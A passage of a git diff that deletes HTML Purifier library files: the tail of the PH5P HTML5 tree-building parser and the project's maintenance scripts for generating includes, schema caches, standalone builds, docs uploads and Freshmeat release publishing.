the last (most recently added) entry in the list of active - formatting elements is a marker, or if it is an element that is in the - stack of open elements, then there is nothing to reconstruct; stop this - algorithm. */ - if($entry === self::MARKER || in_array($entry, $this->stack, true)) { - return false; - } - - for($a = $formatting_elements - 1; $a >= 0; true) { - /* 4. If there are no entries before entry in the list of active - formatting elements, then jump to step 8. */ - if($a === 0) { - $step_seven = false; - break; - } - - /* 5. Let entry be the entry one earlier than entry in the list of - active formatting elements. */ - $a--; - $entry = $this->a_formatting[$a]; - - /* 6. If entry is neither a marker nor an element that is also in - thetack of open elements, go to step 4. */ - if($entry === self::MARKER || in_array($entry, $this->stack, true)) { - break; - } - } - - while(true) { - /* 7. Let entry be the element one later than entry in the list of - active formatting elements. */ - if(isset($step_seven) && $step_seven === true) { - $a++; - $entry = $this->a_formatting[$a]; - } - - /* 8. Perform a shallow clone of the element entry to obtain clone. */ - $clone = $entry->cloneNode(); - - /* 9. Append clone to the current node and push it onto the stack - of open elements so that it is the new current node. */ - end($this->stack)->appendChild($clone); - $this->stack[] = $clone; - - /* 10. Replace the entry for entry in the list with an entry for - clone. */ - $this->a_formatting[$a] = $clone; - - /* 11. If the entry for clone in the list of active formatting - elements is not the last entry in the list, return to step 7. */ - if(end($this->a_formatting) !== $clone) { - $step_seven = true; - } else { - break; - } - } - } - - private function clearTheActiveFormattingElementsUpToTheLastMarker() { - /* When the steps below require the UA to clear the list of active - formatting elements up to the last marker, the UA must perform the - following steps: */ - - while(true) { - /* 1. Let entry be the last (most recently added) entry in the list - of active formatting elements. */ - $entry = end($this->a_formatting); - - /* 2. Remove entry from the list of active formatting elements. */ - array_pop($this->a_formatting); - - /* 3. If entry was a marker, then stop the algorithm at this point. - The list has been cleared up to the last marker. */ - if($entry === self::MARKER) { - break; - } - } - } - - private function generateImpliedEndTags(array $exclude = array()) { - /* When the steps below require the UA to generate implied end tags, - then, if the current node is a dd element, a dt element, an li element, - a p element, a td element, a th element, or a tr element, the UA must - act as if an end tag with the respective tag name had been seen and - then generate implied end tags again. */ - $node = end($this->stack); - $elements = array_diff(array('dd', 'dt', 'li', 'p', 'td', 'th', 'tr'), $exclude); - - while(in_array(end($this->stack)->nodeName, $elements)) { - array_pop($this->stack); - } - } - - private function getElementCategory($name) { - if(in_array($name, $this->special)) - return self::SPECIAL; - - elseif(in_array($name, $this->scoping)) - return self::SCOPING; - - elseif(in_array($name, $this->formatting)) - return self::FORMATTING; - - else - return self::PHRASING; - } - - private function clearStackToTableContext($elements) { - /* When the steps above require the UA to clear the stack back to a - table context, it means that the UA must, while the current node is not - a table element or an html element, pop elements from the stack of open - elements. If this causes any elements to be popped from the stack, then - this is a parse error. */ - while(true) { - $node = end($this->stack)->nodeName; - - if(in_array($node, $elements)) { - break; - } else { - array_pop($this->stack); - } - } - } - - private function resetInsertionMode() { - /* 1. Let last be false. */ - $last = false; - $leng = count($this->stack); - - for($n = $leng - 1; $n >= 0; $n--) { - /* 2. Let node be the last node in the stack of open elements. */ - $node = $this->stack[$n]; - - /* 3. If node is the first node in the stack of open elements, then - set last to true. If the element whose innerHTML attribute is being - set is neither a td element nor a th element, then set node to the - element whose innerHTML attribute is being set. (innerHTML case) */ - if($this->stack[0]->isSameNode($node)) { - $last = true; - } - - /* 4. If node is a select element, then switch the insertion mode to - "in select" and abort these steps. (innerHTML case) */ - if($node->nodeName === 'select') { - $this->mode = self::IN_SELECT; - break; - - /* 5. If node is a td or th element, then switch the insertion mode - to "in cell" and abort these steps. */ - } elseif($node->nodeName === 'td' || $node->nodeName === 'th') { - $this->mode = self::IN_CELL; - break; - - /* 6. If node is a tr element, then switch the insertion mode to - "in row" and abort these steps. */ - } elseif($node->nodeName === 'tr') { - $this->mode = self::IN_ROW; - break; - - /* 7. If node is a tbody, thead, or tfoot element, then switch the - insertion mode to "in table body" and abort these steps. */ - } elseif(in_array($node->nodeName, array('tbody', 'thead', 'tfoot'))) { - $this->mode = self::IN_TBODY; - break; - - /* 8. If node is a caption element, then switch the insertion mode - to "in caption" and abort these steps. */ - } elseif($node->nodeName === 'caption') { - $this->mode = self::IN_CAPTION; - break; - - /* 9. If node is a colgroup element, then switch the insertion mode - to "in column group" and abort these steps. (innerHTML case) */ - } elseif($node->nodeName === 'colgroup') { - $this->mode = self::IN_CGROUP; - break; - - /* 10. If node is a table element, then switch the insertion mode - to "in table" and abort these steps. */ - } elseif($node->nodeName === 'table') { - $this->mode = self::IN_TABLE; - break; - - /* 11. If node is a head element, then switch the insertion mode - to "in body" ("in body"! not "in head"!) and abort these steps. - (innerHTML case) */ - } elseif($node->nodeName === 'head') { - $this->mode = self::IN_BODY; - break; - - /* 12. If node is a body element, then switch the insertion mode to - "in body" and abort these steps. */ - } elseif($node->nodeName === 'body') { - $this->mode = self::IN_BODY; - break; - - /* 13. If node is a frameset element, then switch the insertion - mode to "in frameset" and abort these steps. (innerHTML case) */ - } elseif($node->nodeName === 'frameset') { - $this->mode = self::IN_FRAME; - break; - - /* 14. If node is an html element, then: if the head element - pointer is null, switch the insertion mode to "before head", - otherwise, switch the insertion mode to "after head". In either - case, abort these steps. (innerHTML case) */ - } elseif($node->nodeName === 'html') { - $this->mode = ($this->head_pointer === null) - ? self::BEFOR_HEAD - : self::AFTER_HEAD; - - break; - - /* 15. If last is true, then set the insertion mode to "in body" - and abort these steps. (innerHTML case) */ - } elseif($last) { - $this->mode = self::IN_BODY; - break; - } - } - } - - private function closeCell() { - /* If the stack of open elements has a td or th element in table scope, - then act as if an end tag token with that tag name had been seen. */ - foreach(array('td', 'th') as $cell) { - if($this->elementInScope($cell, true)) { - $this->inCell(array( - 'name' => $cell, - 'type' => HTML5::ENDTAG - )); - - break; - } - } - } - - public function save() { - return $this->dom; - } -} -?> diff --git a/classes/security/htmlpurifier/maintenance/add-vimline.php b/classes/security/htmlpurifier/maintenance/add-vimline.php deleted file mode 100644 index 34a177f21..000000000 --- a/classes/security/htmlpurifier/maintenance/add-vimline.php +++ /dev/null @@ -1,131 +0,0 @@ -#!/usr/bin/php -globr('.', '*'); -foreach ($files as $file) { - if ( - !is_file($file) || - prefix_is('./docs/doxygen', $file) || - prefix_is('./library/standalone', $file) || - prefix_is('./docs/specimens', $file) || - postfix_is('.ser', $file) || - postfix_is('.tgz', $file) || - postfix_is('.patch', $file) || - postfix_is('.dtd', $file) || - postfix_is('.ent', $file) || - postfix_is('.png', $file) || - postfix_is('.ico', $file) || - // wontfix - postfix_is('.vtest', $file) || - postfix_is('.svg', $file) || - postfix_is('.phpt', $file) || - postfix_is('VERSION', $file) || - postfix_is('WHATSNEW', $file) || - postfix_is('FOCUS', $file) || - postfix_is('configdoc/usage.xml', $file) || - postfix_is('library/HTMLPurifier.includes.php', $file) || - postfix_is('library/HTMLPurifier.safe-includes.php', $file) || - postfix_is('smoketests/xssAttacks.xml', $file) || - // phpt files - postfix_is('.diff', $file) || - postfix_is('.exp', $file) || - postfix_is('.log', $file) || - postfix_is('.out', $file) || - - $file == './library/HTMLPurifier/Lexer/PH5P.php' || - $file == './maintenance/PH5P.php' - ) continue; - $ext = strrchr($file, '.'); - if ( - postfix_is('README', $file) || - postfix_is('LICENSE', $file) || - postfix_is('CREDITS', $file) || - postfix_is('INSTALL', $file) || - postfix_is('NEWS', $file) || - postfix_is('TODO', $file) || - postfix_is('WYSIWYG', $file) || - postfix_is('Changelog', $file) - ) $ext = '.txt'; - if (postfix_is('Doxyfile', $file)) $ext = 'Doxyfile'; - if (postfix_is('.php.in', $file)) $ext = '.php'; - $no_nl = false; - switch ($ext) { - case '.php': - case '.inc': - case '.js': - $line = '// %s'; - break; - case '.html': - case '.xsl': - case '.xml': - case '.htc': - $line = ""; - break; - case '.htmlt': - $no_nl = true; - $line = '--# %s'; - break; - case '.ini': - $line = '; %s'; - break; - case '.css': - $line = '/* %s */'; - break; - case '.bat': - $line = 'rem %s'; - break; - case '.txt': - case '.utf8': - if ( - prefix_is('./library/HTMLPurifier/ConfigSchema', $file) || - prefix_is('./smoketests/test-schema', $file) || - prefix_is('./tests/HTMLPurifier/StringHashParser', $file) - ) { - $no_nl = true; - $line = '--# %s'; - } else { - $line = ' %s'; - } - break; - case 'Doxyfile': - $line = '# %s'; - break; - default: - throw new Exception('Unknown file: ' . $file); - } - - echo "$file\n"; - $contents = file_get_contents($file); - - $regex = '~' . str_replace('%s', 'vim: .+', preg_quote($line, '~')) . '~m'; - $contents = preg_replace($regex, '', $contents); - - $contents = rtrim($contents); - - if (strpos($contents, "\r\n") !== false) $nl = "\r\n"; - elseif (strpos($contents, "\n") !== false) $nl = "\n"; - elseif (strpos($contents, "\r") !== false) $nl = "\r"; - else $nl = PHP_EOL; - - if (!$no_nl) $contents .= $nl; - $contents .= $nl . str_replace('%s', $vimline, $line) . $nl; - - file_put_contents($file, $contents); - -} - -// vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/maintenance/common.php b/classes/security/htmlpurifier/maintenance/common.php deleted file mode 100644 index 888c7daf9..000000000 --- a/classes/security/htmlpurifier/maintenance/common.php +++ /dev/null @@ -1,22 +0,0 @@ -docs/doxygen/info.log 2>docs/doxygen/errors.log -if [ "$?" != 0 ]; then - cat docs/doxygen/errors.log - exit -fi -cd docs -tar czf doxygen.tgz doxygen diff --git a/classes/security/htmlpurifier/maintenance/config-scanner.php b/classes/security/htmlpurifier/maintenance/config-scanner.php deleted file mode 100644 index 2b4efa3f8..000000000 --- a/classes/security/htmlpurifier/maintenance/config-scanner.php +++ /dev/null @@ -1,153 +0,0 @@ -#!/usr/bin/php -globr('.', '*.php'); -$files = array(); -foreach ($raw_files as $file) { - $file = substr($file, 2); // rm leading './' - if (strncmp('standalone/', $file, 11) === 0) continue; // rm generated files - if (substr_count($file, '.') > 1) continue; // rm meta files - $files[] = $file; -} - -/** - * Moves the $i cursor to the next non-whitespace token - */ -function consumeWhitespace($tokens, &$i) { - do {$i++;} while (is_array($tokens[$i]) && $tokens[$i][0] === T_WHITESPACE); -} - -/** - * Tests whether or not a token is a particular type. There are three run-cases: - * - ($token, $expect_token): tests if the token is $expect_token type; - * - ($token, $expect_value): tests if the token is the string $expect_value; - * - ($token, $expect_token, $expect_value): tests if token is $expect_token type, and - * its string representation is $expect_value - */ -function testToken($token, $value_or_token, $value = null) { - if (is_null($value)) { - if (is_int($value_or_token)) return is_array($token) && $token[0] === $value_or_token; - else return $token === $value_or_token; - } else { - return is_array($token) && $token[0] === $value_or_token && $token[1] === $value; - } -} - -$counter = 0; -$full_counter = 0; -$tracker = array(); - -foreach ($files as $file) { - $tokens = token_get_all(file_get_contents($file)); - $file = str_replace('\\', '/', $file); - for ($i = 0, $c = count($tokens); $i < $c; $i++) { - $ok = false; - // Match $config - if (!$ok && testToken($tokens[$i], T_VARIABLE, '$config')) $ok = true; - // Match $this->config - while (!$ok && testToken($tokens[$i], T_VARIABLE, '$this')) { - consumeWhitespace($tokens, $i); - if (!testToken($tokens[$i], T_OBJECT_OPERATOR)) break; - consumeWhitespace($tokens, $i); - if (testToken($tokens[$i], T_STRING, 'config')) $ok = true; - break; - } - if (!$ok) continue; - - $ok = false; - for($i++; $i < $c; $i++) { - if ($tokens[$i] === ',' || $tokens[$i] === ')' || $tokens[$i] === ';') { - break; - } - if (is_string($tokens[$i])) continue; - if ($tokens[$i][0] === T_OBJECT_OPERATOR) { - $ok = true; - break; - } - } - if (!$ok) continue; - - $line = $tokens[$i][2]; - - consumeWhitespace($tokens, $i); - if (!testToken($tokens[$i], T_STRING, 'get')) continue; - - consumeWhitespace($tokens, $i); - if (!testToken($tokens[$i], '(')) continue; - - $full_counter++; - - $matched = false; - do { - - // What we currently don't match are batch retrievals, and - // wildcard retrievals. This data might be useful in the future, - // which is why we have a do {} while loop that doesn't actually - // do anything. - - consumeWhitespace($tokens, $i); - if (!testToken($tokens[$i], T_CONSTANT_ENCAPSED_STRING)) continue; - $id = substr($tokens[$i][1], 1, -1); - - $counter++; - $matched = true; - - if (!isset($tracker[$id])) $tracker[$id] = array(); - if (!isset($tracker[$id][$file])) $tracker[$id][$file] = array(); - $tracker[$id][$file][] = $line; - - } while (0); - - //echo "$file:$line uses $namespace.$directive\n"; - } -} - -echo "\n$counter/$full_counter instances of \$config or \$this->config found in source code.\n"; - -echo "Generating XML... "; - -$xw = new XMLWriter(); -$xw->openURI('../configdoc/usage.xml'); -$xw->setIndent(true); -$xw->startDocument('1.0', 'UTF-8'); -$xw->startElement('usage'); -foreach ($tracker as $id => $files) { - $xw->startElement('directive'); - $xw->writeAttribute('id', $id); - foreach ($files as $file => $lines) { - $xw->startElement('file'); - $xw->writeAttribute('name', $file); - foreach ($lines as $line) { - $xw->writeElement('line', $line); - } - $xw->endElement(); - } - $xw->endElement(); -} -$xw->endElement(); -$xw->flush(); - -echo "done!\n"; - -// vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/maintenance/flush-definition-cache.php b/classes/security/htmlpurifier/maintenance/flush-definition-cache.php deleted file mode 100755 index 138badb65..000000000 --- a/classes/security/htmlpurifier/maintenance/flush-definition-cache.php +++ /dev/null @@ -1,42 +0,0 @@ -#!/usr/bin/php -flush($config); -} - -echo "Cache flushed successfully.\n"; - -// vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/maintenance/flush.php b/classes/security/htmlpurifier/maintenance/flush.php deleted file mode 100644 index 6dada93f4..000000000 --- a/classes/security/htmlpurifier/maintenance/flush.php +++ /dev/null @@ -1,29 +0,0 @@ -#!/usr/bin/php -/'; - -foreach ( $entity_files as $file ) { - $contents = file_get_contents($entity_dir . $file); - $matches = array(); - preg_match_all($regexp, $contents, $matches, PREG_SET_ORDER); - foreach ($matches as $match) { - $entity_table[$match[1]] = unichr($match[2]); - } -} - -$output = serialize($entity_table); - -$fh = fopen($output_file, 'w'); -fwrite($fh, $output); -fclose($fh); - -echo "Completed successfully."; - -// vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/maintenance/generate-includes.php b/classes/security/htmlpurifier/maintenance/generate-includes.php deleted file mode 100644 index 498f49b91..000000000 --- a/classes/security/htmlpurifier/maintenance/generate-includes.php +++ /dev/null @@ -1,190 +0,0 @@ -#!/usr/bin/php -globr('.', '*.php'); -if (!$raw_files) throw new Exception('Did not find any PHP source files'); -$files = array(); -foreach ($raw_files as $file) { - $file = substr($file, 2); // rm leading './' - if (strncmp('standalone/', $file, 11) === 0) continue; // rm generated files - if (substr_count($file, '.') > 1) continue; // rm meta files - $ok = true; - foreach ($exclude_dirs as $dir) { - if (strncmp($dir, $file, strlen($dir)) === 0) { - $ok = false; - break; - } - } - if (!$ok) continue; // rm excluded directories - if (in_array($file, $exclude_files)) continue; // rm excluded files - $files[] = $file; -} -echo "done!\n"; - -// Reorder list so that dependencies are included first: - -/** - * Returns a lookup array of dependencies for a file. - * - * @note This function expects that format $name extends $parent on one line - * - * @param $file - * File to check dependencies of. - * @return - * Lookup array of files the file is dependent on, sorted accordingly. - */ -function get_dependency_lookup($file) { - static $cache = array(); - if (isset($cache[$file])) return $cache[$file]; - if (!file_exists($file)) { - echo "File doesn't exist: $file\n"; - return array(); - } - $fh = fopen($file, 'r'); - $deps = array(); - while (!feof($fh)) { - $line = fgets($fh); - if (strncmp('class', $line, 5) === 0) { - // The implementation here is fragile and will break if we attempt - // to use interfaces. Beware! - $arr = explode(' extends ', trim($line, ' {'."\n\r"), 2); - if (count($arr) < 2) break; - $parent = $arr[1]; - $dep_file = HTMLPurifier_Bootstrap::getPath($parent); - if (!$dep_file) break; - $deps[$dep_file] = true; - break; - } - } - fclose($fh); - foreach (array_keys($deps) as $file) { - // Extra dependencies must come *before* base dependencies - $deps = get_dependency_lookup($file) + $deps; - } - $cache[$file] = $deps; - return $deps; -} - -/** - * Sorts files based on dependencies. This function is lazy and will not - * group files with dependencies together; it will merely ensure that a file - * is never included before its dependencies are. - * - * @param $files - * Files array to sort. - * @return - * Sorted array ($files is not modified by reference!) - */ -function dep_sort($files) { - $ret = array(); - $cache = array(); - foreach ($files as $file) { - if (isset($cache[$file])) continue; - $deps = get_dependency_lookup($file); - foreach (array_keys($deps) as $dep) { - if (!isset($cache[$dep])) { - $ret[] = $dep; - $cache[$dep] = true; - } - } - $cache[$file] = true; - $ret[] = $file; - } - return $ret; -} - -$files = dep_sort($files); - -// Build the actual include stub: - -$version = trim(file_get_contents('../VERSION')); - -// stub -$php = " PH5P.patch"); -unlink($newt); - -// vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/maintenance/generate-schema-cache.php b/classes/security/htmlpurifier/maintenance/generate-schema-cache.php deleted file mode 100644 index 339ff12da..000000000 --- a/classes/security/htmlpurifier/maintenance/generate-schema-cache.php +++ /dev/null @@ -1,45 +0,0 @@ -#!/usr/bin/php -buildDir($interchange); - -$loader = dirname(__FILE__) . '/../config-schema.php'; -if (file_exists($loader)) include $loader; -foreach ($_SERVER['argv'] as $i => $dir) { - if ($i === 0) continue; - $builder->buildDir($interchange, realpath($dir)); -} - -$interchange->validate(); - -$schema_builder = new HTMLPurifier_ConfigSchema_Builder_ConfigSchema(); -$schema = $schema_builder->build($interchange); - -echo "Saving schema... "; -file_put_contents($target, serialize($schema)); -echo "done!\n"; - -// vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/maintenance/generate-standalone.php b/classes/security/htmlpurifier/maintenance/generate-standalone.php deleted file mode 100755 index e67f07124..000000000 --- a/classes/security/htmlpurifier/maintenance/generate-standalone.php +++ /dev/null @@ -1,151 +0,0 @@ -#!/usr/bin/php -copyr($dir, 'standalone/' . $dir); -} - -/** - * Copies the contents of a file to the standalone directory - * @param string $file File to copy - */ -function make_file_standalone($file) { - global $FS; - $FS->mkdirr('standalone/' . dirname($file)); - copy_and_remove_includes($file, 'standalone/' . $file); - return true; -} - -/** - * Copies a file to another location recursively, if it is a PHP file - * remove includes - * @param string $file Original file - * @param string $sfile New location of file - */ -function copy_and_remove_includes($file, $sfile) { - $contents = file_get_contents($file); - if (strrchr($file, '.') === '.php') $contents = replace_includes($contents); - return file_put_contents($sfile, $contents); -} - -/** - * @param $matches preg_replace_callback matches array, where index 1 - * is the filename to include - */ -function replace_includes_callback($matches) { - $file = $matches[1]; - $preserve = array( - // PEAR (external) - 'XML/HTMLSax3.php' => 1 - ); - if (isset($preserve[$file])) { - return $matches[0]; - } - if (isset($GLOBALS['loaded'][$file])) return ''; - $GLOBALS['loaded'][$file] = true; - return replace_includes(remove_php_tags(file_get_contents($file))); -} - -echo 'Generating includes file... '; -shell_exec('php generate-includes.php'); -echo "done!\n"; - -chdir(dirname(__FILE__) . '/../library/'); - -echo 'Creating full file...'; -$contents = replace_includes(file_get_contents('HTMLPurifier.includes.php')); -$contents = str_replace( - // Note that bootstrap is now inside the standalone file - "define('HTMLPURIFIER_PREFIX', realpath(dirname(__FILE__) . '/..'));", - "define('HTMLPURIFIER_PREFIX', dirname(__FILE__) . '/standalone'); - set_include_path(HTMLPURIFIER_PREFIX . PATH_SEPARATOR . get_include_path());", - $contents -); -file_put_contents('HTMLPurifier.standalone.php', $contents); -echo ' done!' . PHP_EOL; - -echo 'Creating standalone directory...'; -$FS->rmdirr('standalone'); // ensure a clean copy - -// data files -$FS->mkdirr('standalone/HTMLPurifier/DefinitionCache/Serializer'); -make_file_standalone('HTMLPurifier/EntityLookup/entities.ser'); -make_file_standalone('HTMLPurifier/ConfigSchema/schema.ser'); - -// non-standard inclusion setup -make_dir_standalone('HTMLPurifier/ConfigSchema'); -make_dir_standalone('HTMLPurifier/Language'); -make_dir_standalone('HTMLPurifier/Filter'); -make_dir_standalone('HTMLPurifier/Printer'); -make_file_standalone('HTMLPurifier/Printer.php'); -make_file_standalone('HTMLPurifier/Lexer/PH5P.php'); - -echo ' done!' . PHP_EOL; - -// vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/maintenance/merge-library.php b/classes/security/htmlpurifier/maintenance/merge-library.php deleted file mode 100755 index de2eecdc0..000000000 --- a/classes/security/htmlpurifier/maintenance/merge-library.php +++ /dev/null @@ -1,11 +0,0 @@ -#!/usr/bin/php -open('w'); - $multiline = false; - foreach ($hash as $key => $value) { - $multiline = $multiline || (strpos($value, "\n") !== false); - if ($multiline) { - $file->put("--$key--" . PHP_EOL); - $file->put(str_replace("\n", PHP_EOL, $value) . PHP_EOL); - } else { - if ($key == 'ID') { - $file->put("$value" . PHP_EOL); - } else { - $file->put("$key: $value" . PHP_EOL); - } - } - } - $file->close(); -} - -$schema = HTMLPurifier_ConfigSchema::instance(); -$adapter = new HTMLPurifier_ConfigSchema_StringHashReverseAdapter($schema); - -foreach ($schema->info as $ns => $ns_array) { - saveHash($adapter->get($ns)); - foreach ($ns_array as $dir => $x) { - saveHash($adapter->get($ns, $dir)); - } -} - -// vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/maintenance/old-remove-require-once.php b/classes/security/htmlpurifier/maintenance/old-remove-require-once.php deleted file mode 100644 index f47c7d0f1..000000000 --- a/classes/security/htmlpurifier/maintenance/old-remove-require-once.php +++ /dev/null @@ -1,32 +0,0 @@ -#!/usr/bin/php -globr('.', '*.php'); -foreach ($files as $file) { - if (substr_count(basename($file), '.') > 1) continue; - $old_code = file_get_contents($file); - $new_code = preg_replace("#^require_once .+[\n\r]*#m", '', $old_code); - if ($old_code !== $new_code) { - file_put_contents($file, $new_code); - } -} - -// vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/maintenance/old-remove-schema-def.php b/classes/security/htmlpurifier/maintenance/old-remove-schema-def.php deleted file mode 100644 index 5ae031973..000000000 --- a/classes/security/htmlpurifier/maintenance/old-remove-schema-def.php +++ /dev/null @@ -1,32 +0,0 @@ -#!/usr/bin/php -globr('.', '*.php'); -foreach ($files as $file) { - if (substr_count(basename($file), '.') > 1) continue; - $old_code = file_get_contents($file); - $new_code = preg_replace("#^HTMLPurifier_ConfigSchema::.+?\);[\n\r]*#ms", '', $old_code); - if ($old_code !== $new_code) { - file_put_contents($file, $new_code); - } - if (preg_match('#^\s+HTMLPurifier_ConfigSchema::#m', $new_code)) { - echo "Indented ConfigSchema call in $file\n"; - } -} - -// vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/maintenance/regenerate-docs.sh b/classes/security/htmlpurifier/maintenance/regenerate-docs.sh deleted file mode 100755 index 6f4d720ff..000000000 --- a/classes/security/htmlpurifier/maintenance/regenerate-docs.sh +++ /dev/null @@ -1,5 +0,0 @@ -#!/bin/bash -e -./compile-doxygen.sh -cd ../docs -scp doxygen.tgz htmlpurifier.org:/home/ezyang/htmlpurifier.org -ssh htmlpurifier.org "cd /home/ezyang/htmlpurifier.org && ./reload-docs.sh" diff --git a/classes/security/htmlpurifier/maintenance/remove-trailing-whitespace.php b/classes/security/htmlpurifier/maintenance/remove-trailing-whitespace.php deleted file mode 100644 index 857870546..000000000 --- a/classes/security/htmlpurifier/maintenance/remove-trailing-whitespace.php +++ /dev/null @@ -1,37 +0,0 @@ -#!/usr/bin/php -globr('.', '{,.}*', GLOB_BRACE); -foreach ($files as $file) { - if ( - !is_file($file) || - prefix_is('./.git', $file) || - prefix_is('./docs/doxygen', $file) || - postfix_is('.ser', $file) || - postfix_is('.tgz', $file) || - postfix_is('.patch', $file) || - postfix_is('.dtd', $file) || - postfix_is('.ent', $file) || - $file == './library/HTMLPurifier/Lexer/PH5P.php' || - $file == './maintenance/PH5P.php' - ) continue; - $contents = file_get_contents($file); - $result = preg_replace('/^(.*?)[ \t]+(\r?)$/m', '\1\2', $contents, -1, $count); - if (!$count) continue; - echo "$file\n"; - file_put_contents($file, $result); -} - -// vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/maintenance/rename-config.php b/classes/security/htmlpurifier/maintenance/rename-config.php deleted file mode 100644 index 6e59e2a79..000000000 --- a/classes/security/htmlpurifier/maintenance/rename-config.php +++ /dev/null @@ -1,84 +0,0 @@ -#!/usr/bin/php -buildFile($interchange, $file); -$contents = file_get_contents($file); - -if (strpos($contents, "\r\n") !== false) { - $nl = "\r\n"; -} elseif (strpos($contents, "\r") !== false) { - $nl = "\r"; -} else { - $nl = "\n"; -} - -// replace name with new name -$contents = str_replace($old, $new, $contents); - -if ($interchange->directives[$old]->aliases) { - $pos_alias = strpos($contents, 'ALIASES:'); - $pos_ins = strpos($contents, $nl, $pos_alias); - if ($pos_ins === false) $pos_ins = strlen($contents); - $contents = - substr($contents, 0, $pos_ins) . ", $old" . substr($contents, $pos_ins); - file_put_contents($file, $contents); -} else { - $lines = explode($nl, $contents); - $insert = false; - foreach ($lines as $n => $line) { - if (strncmp($line, '--', 2) === 0) { - $insert = $n; - break; - } - } - if (!$insert) { - $lines[] = "ALIASES: $old"; - } else { - array_splice($lines, $insert, 0, "ALIASES: $old"); - } - file_put_contents($file, implode($nl, $lines)); -} - -rename("$old.txt", "$new.txt") || exit(1); diff --git a/classes/security/htmlpurifier/maintenance/update-config.php b/classes/security/htmlpurifier/maintenance/update-config.php deleted file mode 100644 index 2d8a7a9c1..000000000 --- a/classes/security/htmlpurifier/maintenance/update-config.php +++ /dev/null @@ -1,34 +0,0 @@ -#!/usr/bin/php -set and $config->get to the new - * format, as described by docs/dev-config-bcbreaks.txt - */ - -$FS = new FSTools(); -chdir(dirname(__FILE__) . '/..'); -$raw_files = $FS->globr('.', '*.php'); -foreach ($raw_files as $file) { - $file = substr($file, 2); // rm leading './' - if (strpos($file, 'library/standalone/') === 0) continue; - if (strpos($file, 'maintenance/update-config.php') === 0) continue; - if (strpos($file, 'test-settings.php') === 0) continue; - if (substr_count($file, '.') > 1) continue; // rm meta files - // process the file - $contents = file_get_contents($file); - $contents = preg_replace( - "#config->(set|get)\('(.+?)', '(.+?)'#", - "config->\\1('\\2.\\3'", - $contents - ); - if ($contents === '') continue; - file_put_contents($file, $contents); -} - -// vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/maintenance/update-freshmeat.php b/classes/security/htmlpurifier/maintenance/update-freshmeat.php deleted file mode 100644 index 5295c0430..000000000 --- a/classes/security/htmlpurifier/maintenance/update-freshmeat.php +++ /dev/null @@ -1,156 +0,0 @@ -#!/usr/bin/php - 'utf-8', - ); - - /** - * This array defines shortcut method signatures for dealing with simple - * XML RPC methods. More complex ones (publish_release) should use the named parameter - * syntax. - */ - public $signatures = array( - 'login' => array('username', 'password'), - 'fetch_branch_list' => array('project_name'), - 'fetch_release' => array('project_name', 'branch_name', 'version'), - 'withdraw_release' => array('project_name', 'branch_name', 'version'), - ); - - protected $sid = null; - - /** - * @param $username Username to login with - * @param $password Password to login with - */ - public function __construct($username = null, $password = null) { - if ($username && $password) { - $this->login($username, $password); - } - } - - /** - * Performs a raw XML RPC call to self::URL - */ - protected function call($method, $params) { - $request = xmlrpc_encode_request($method, $params, $this->encodeOptions); - $ch = curl_init(); - curl_setopt($ch, CURLOPT_URL, self::URL); - curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); - curl_setopt($ch, CURLOPT_TIMEOUT, 1); - curl_setopt($ch, CURLOPT_HTTPHEADER, array( - 'Content-type: text/xml', - 'Content-length: ' . strlen($request) - )); - curl_setopt($ch, CURLOPT_POSTFIELDS, $request); - $data = curl_exec($ch); - if ($errno = curl_errno($ch)) { - throw new Exception("Curl error [$errno]: " . curl_error($ch)); - } else { - curl_close($ch); - return xmlrpc_decode($data); - } - } - - /** - * Performs an XML RPC call to Freshmeat. - * @param $name Name of method to call, can be methodName or method_name - * @param $args Arguments of call, in form array('key1', 'val1', 'key2' ...) - */ - public function __call($name, $args) { - $method = $this->camelToUnderscore($name); - $params = array(); - if ($this->sid) $params['SID'] = $this->sid; - if (isset($this->signatures[$method])) { - for ($i = 0, $c = count($this->signatures[$method]); $i < $c; $i++) { - $params[$this->signatures[$method][$i]] = $args[$i]; - } - } else { - for ($i = 0, $c = count($args); $i + 1 < $c; $i += 2) { - $params[$args[$i]] = $args[$i + 1]; - } - } - $result = $this->call($method, $params); - switch ($method) { - case 'login': - $this->sid = $result['SID']; - break; - case 'logout': - $this->sid = null; - break; - } - if ($this->chatty) print_r($result); - return $result; - } - - /** - * Munge methodName to method_name - */ - private function camelToUnderscore($name) { - $method = ''; - for ($i = 0, $c = strlen($name); $i < $c; $i++) { - $v = $name[$i]; - if (ctype_lower($v)) $method .= $v; - else $method .= '_' . strtolower($v); - } - return $method; - } - - /** - * Automatically logout at end of scope - */ - public function __destruct() { - if ($this->sid) $this->logout(); - } - -} - -$rpc = new XmlRpc_Freshmeat($argv[1], $argv[2]); -$rpc->chatty = true; - -$project = 'htmlpurifier'; -$branch = 'Default'; -$version = file_get_contents('../VERSION'); - -$result = $rpc->fetchRelease($project, $branch, $version); -if (!isset($result['faultCode'])) { - echo "Freshmeat release already exists.\n"; - exit(0); -} - -$changes = strtr(file_get_contents('../WHATSNEW'), array("\r" => '', "\n" => ' ')); -$focus = (int) trim(file_get_contents('../FOCUS')); - -if (strlen($changes) > 600) { - echo "WHATSNEW entry is too long.\n"; - exit(1); -} - -$rpc->publishRelease( - 'project_name', $project, - 'branch_name', $branch, - 'version', $version, - 'changes', $changes, - 'release_focus', $focus, - 'url_tgz', "http://htmlpurifier.org/releases/htmlpurifier-$version.tar.gz", - 'url_zip', "http://htmlpurifier.org/releases/htmlpurifier-$version.zip", - 'url_changelog', "http://htmlpurifier.org/svnroot/htmlpurifier/tags/$version/NEWS" -); - -// vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/package.php b/classes/security/htmlpurifier/package.php deleted file mode 100644 index bfef93622..000000000 --- a/classes/security/htmlpurifier/package.php +++ /dev/null @@ -1,61 +0,0 @@ -setOptions( - array( - 'baseinstalldir' => '/', - 'packagefile' => 'package.xml', - 'packagedirectory' => realpath(dirname(__FILE__) 